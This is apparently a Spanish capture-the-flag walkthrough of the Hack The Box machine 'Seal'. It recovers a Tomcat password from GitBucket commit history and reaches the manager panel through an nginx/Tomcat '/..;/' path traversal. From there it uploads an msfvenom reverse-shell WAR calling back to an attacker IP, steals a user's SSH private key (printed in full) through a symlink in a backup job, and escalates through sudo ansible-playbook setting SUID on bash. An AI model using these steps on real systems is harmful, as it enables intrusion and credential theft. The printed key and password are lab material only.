Seal
8 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.10.250
- Fecha: 10 / 07 / 2021
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -oN nmap/targeted 10.10.10.250 -p 22,443,8080
Nmap scan report for 10.10.10.250
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after: 2022-05-05T10:24:03
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date:
| Set-Cookie: JSESSIONID=node06lh8n576egh211y0xv2rr2r3i2.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
...
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 17.11 seconds
La máquina tiene abiertos los puertos 22 (SSH), 443 (HTTPS) y 8080 (HTTP).
Enumeración
La máquina tiene un servicio GitBucket en el puerto 8080:
Para entrar, podemos crearnos una cuenta. Después, iniciamos sesión y vemos que hay dos repositorios: root/seal_market
y root/infra
:
Podemos ver algunas pistas en el archivo README.md
de root/seal_market
acerca de la configuración de Tomcat:
Además, existen algunos problemas en el mismo repositorio sobre autenticación mutua entre nginx y Tomcat:
Es bien sabido que Tomcat gestiona la autenticación y autorización de usuarios mediante el archivo tomcat-users.xml
(que es parte de la confuguración de Tomcat). Este archivo se encuentra en el repositorio, pero la versión actual no contiene información sensible (a lo mejor se ha actualizado porque había una tarea relacionada en el README.md
):
Sin embargo, hay un commit anterior que contiene una contraseña. Esto se puede ver desde el botón “History”:
También se puede ver utilizando el interfaz de línea de comandos de git
. Para ello, tenemos que clonar el repositorio utilizando la cuenta registrada anteriormente:
$ git clone http://10.10.10.250:8080/git/root/seal_market.git
Después, utilizando git log
podemos ver todos los commits relacionados al archivo tomcat-users.xml
. Y utilizando un poco de shell scripting podemos filtrar la contraseña:
$ git log -p tomcat/tomcat-users.xml | grep manager | grep password
-<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
+<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
Esta contraseña curiosamente funciona parar iniciar sesión como luis
en GitBucket, pero no hay nada más que hacer ahí.
Encontrando malas configuraciones en los servidores web
En el puerto 443 podemos ver una página web como esta:
Si ocasionamos un error 404 Not Found, podemos ver que el servidor está corriendo Apache Tomcat/9.0.31:
Existen unas configuraciones raras en los servidores, porque están utilizando Tomcat y nginx al mismo tiempo. El servidor nginx fue reportado por nmap
, y también había alguna pista en GitBucket. Lo mismo para Tomcat.
Esto puede ocasionar problemas ya que nginx normaliza las rutas de tipo /../
a /
, pero no cambia rutas del tipo /..;/
. Sin embargo, Tomcat convierte /..;/
en /../
, haciendo posible un ataque de navegación de directorios (más información aquí):
Con esta vulnerabilidad y la contraseña encontrada en GitBucket, podemos entrar en /manager/html
desde /manager/status/..;/html
y acceder al panel de administración.
Acceso a la máquina
En este momento, somos capaces de subir un archivo WAR malicioso en /manager/status/..;/html
, utilizando msfvenom
:
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.17.44 LPORT=4444 -f war -o reverse.war
Payload size: 1091 bytes
Final size of war file: 1091 bytes
Saved as: reverse.war
No obstante, al hacer la petición POST, se tiene que realizar modificando la URL a /manager/status/..;/html/uploads
(porque no tenemos permisos para acceder directamente a /manager/html/uploads
) como se muestra en Burp Suite:
Utilizando Burp Suite, podemos cambiar laa URL antes de enviar la petición:
Podemos verificar que el WAR se ha subido correctamente entrando de nuevo en /manager/status/..;/html
:
Después, con nc
obtenemos acceso a la máquina como usuario tomcat
al cargar la página /reverse
desde el panel de administrador de Tomcat:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.250.
Ncat: Connection from 10.10.10.250:48774.
script /dev/null -c bash
Script started, file is /dev/null
tomcat@seal:/var/lib/tomcat9$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
tomcat@seal:/var/lib/tomcat9$ export TERM=xterm
tomcat@seal:/var/lib/tomcat9$ export SHELL=bash
tomcat@seal:/var/lib/tomcat9$ stty rows 50 columns 158
Movimiento lateral al usuario luis
Podemos ver que existe un usuario llamado luis
leyendo el archivo /etc/passwd
:
tomcat@seal:/var/lib/tomcat9$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
luis:x:1000:1000:,,,:/home/luis:/bin/bash
tomcat@seal:/var/lib/tomcat9$ ls -la /home/luis
total 51324
drwxr-xr-x 9 luis luis 4096 Oct 25 19:51 .
drwxr-xr-x 3 root root 4096 May 5 12:52 ..
drwxrwxr-x 3 luis luis 4096 May 7 06:00 .ansible
lrwxrwxrwx 1 luis luis 9 May 5 12:57 .bash_history -> /dev/null
-rw-r--r-- 1 luis luis 220 May 5 12:52 .bash_logout
-rw-r--r-- 1 luis luis 3797 May 5 12:52 .bashrc
drwxr-xr-x 3 luis luis 4096 May 7 07:00 .cache
drwxrwxr-x 3 luis luis 4096 May 5 13:45 .config
drwxrwxr-x 6 luis luis 4096 Oct 25 19:19 .gitbucket
-rw-r--r-- 1 luis luis 52497951 Jan 14 2021 gitbucket.war
drwxrwxr-x 3 luis luis 4096 May 5 13:41 .java
drwxrwxr-x 3 luis luis 4096 May 5 14:33 .local
-rw-r--r-- 1 luis luis 807 May 5 12:52 .profile
drwx------ 2 luis luis 4096 May 7 06:10 .ssh
-r-------- 1 luis luis 33 Oct 25 19:19 user.txt
Buscando archivos pertenecientes al usuario luis
, se ve que hay un Ansible Playbook para hacer una copia de seguridad de la aplicación de Tomcat, que se guardará periódicamente en /opt/backups/archives
:
tomcat@seal:/var/lib/tomcat9$ find / -user luis 2>/dev/null | grep -vE 'proc|/\.'
/opt/backups
/opt/backups/archives
/opt/backups/archives/backup-2021-07-15-15:50:33.gz
/opt/backups/archives/backup-2021-07-15-15:53:32.gz
/opt/backups/archives/backup-2021-07-15-15:52:32.gz
/opt/backups/archives/backup-2021-07-15-15:51:32.gz
/opt/backups/playbook
/opt/backups/playbook/run.yml
/home/luis
/home/luis/user.txt
/home/luis/gitbucket.war
tomcat@seal:/var/lib/tomcat9$ cat /opt/backups/playbook/run.yml
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
Explorando el directorio del cual se realiza la copia de seguridad, veos que tenemos todos los permisos en el directorio uploads
:
tomcat@seal:/var/lib/tomcat9$ ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard
total 100
drwxr-xr-x 7 root root 4096 May 7 09:26 .
drwxr-xr-x 3 root root 4096 May 6 10:48 ..
drwxr-xr-x 5 root root 4096 Mar 7 2015 bootstrap
drwxr-xr-x 2 root root 4096 Mar 7 2015 css
drwxr-xr-x 4 root root 4096 Mar 7 2015 images
-rw-r--r-- 1 root root 71744 May 6 10:42 index.html
drwxr-xr-x 4 root root 4096 Mar 7 2015 scripts
drwxrwxrwx 2 root root 4096 May 7 09:26 uploads
tomcat@seal:/var/lib/tomcat9$ ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
total 8
drwxrwxrwx 2 root root 4096 May 7 09:26 .
drwxr-xr-x 7 root root 4096 May 7 09:26 ..
Para explotar esto, podemos crear un enlace simbólico al archivo id_rsa
de luis
en el directorio uploads
, de manera que al realizar se realice una copia de seguridad con el archivo dentro. Entonces, podremos descomprimir la copia de seguridad y leer su contenido.
Por tanto, primero creamos el enlace simbólico:
tomcat@seal:/var/lib/tomcat9$ ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/
tomcat@seal:/var/lib/tomcat9$ ls -la webapps/ROOT/admin/dashboard/uploads/
total 8
drwxrwxrwx 2 root root 4096 Oct 25 20:00 .
drwxr-xr-x 7 root root 4096 May 7 09:26 ..
lrwxrwxrwx 1 tomcat tomcat 22 Oct 25 20:00 id_rsa -> /home/luis/.ssh/id_rsa
Luego vemos que la copia de seguridad se crea, y podemos copiarla en /tmp
para descomprimirla ahí:
tomcat@seal:/var/lib/tomcat9$ cd /tmp
tomcat@seal:/tmp$ ls -la /opt/backups/archives/
total 604
drwxrwxr-x 2 luis luis 4096 Jul 15 16:05 .
drwxr-xr-x 4 luis luis 4096 Jul 15 16:05 ..
-rw-rw-r-- 1 luis luis 608921 Jul 15 16:05 backup-2021-07-15-16:05:32.gz
tomcat@seal:/tmp$ cp /opt/backups/archives/backup-2021-07-15-16:05:32.gz /tmp/backup.tar.gz
tomcat@seal:/tmp$ tar -xf backup.tar.gz
Y con este proceso, hemos conseguido explotar la mala configuración de permisos y obtener la clave privada de SSH (id_rsa
) del usuario luis
tomcat@seal:/tmp$ ls -la
total 1208
drwxrwxrwt 4 root root 4096 Jul 15 16:06 .
drwxr-xr-x 20 root root 4096 May 7 09:26 ..
-rw-r----- 1 tomcat tomcat 608921 Jul 15 16:06 backup.tar.gz
drwxr-x--- 7 tomcat tomcat 4096 May 7 09:26 dashboard
drwxr-x--- 2 tomcat tomcat 4096 Jul 15 15:34 hsperfdata_tomcat
tomcat@seal:/tmp$ ls -la dashboard/uploads/
total 12
drwxr-x--- 2 tomcat tomcat 4096 Jul 15 16:06 .
drwxr-x--- 7 tomcat tomcat 4096 May 7 09:26 ..
-rw------- 1 tomcat tomcat 2590 May 7 06:10 id_rsa
tomcat@seal:/tmp$ cat dashboard/uploads/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----
Y ahora tenemos acceso como luis
usando SSH y podemos ver la flag user.txt
:
$ ssh -i id_rsa luis@10.10.10.250
luis@seal:~$ cat user.txt
cd731341c30363c7787b8dc5132a8cbe
Escalada de privilegios
Este usuario puede ejecutar ansible-playbook
como usuario root
utilizando sudo
:
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
Con Ansible Playbooks es posible ejecutar comandos de sistema (más información here), por lo que simplemente podemos añadir permisos SUID a /bin/bash
y máquina comprometida (existe también un GTFOBin).
Primero creamos un archivo YAML con las acciones que queremos ejecutar:
- hosts: localhost
tasks:
- command: chmod u+s /bin/bash
Después, podemos ejecutar ansible-playbook
con ese archivo YAML para cambiarle los permisos a /bin/bash
:
luis@seal:~$ cd /tmp
luis@seal:/tmp$ cat > file.yaml
- hosts: localhost
tasks:
- command: chmod u+s /bin/bash
^C
luis@seal:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
luis@seal:/tmp$ sudo /usr/bin/ansible-playbook file.yaml
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [localhost] *********************************************************************************************************************************************
TASK [Gathering Facts] ***************************************************************************************************************************************
ok: [localhost]
TASK [command] ***********************************************************************************************************************************************
[WARNING]: Consider using the file module with mode rather than running 'chmod'. If you need to use command because file is insufficient you can add 'warn:
false' to this command task or set 'command_warnings=False' in ansible.cfg to get rid of this message.
changed: [localhost]
PLAY RECAP ***************************************************************************************************************************************************
localhost : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
luis@seal:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
Y finalmente, podemos entrar como root
y leer la flag root.txt
:
luis@seal:/tmp$ bash -p
bash-5.0# cat /root/root.txt
9fbff7ee6bedac04af30edca3ad223e6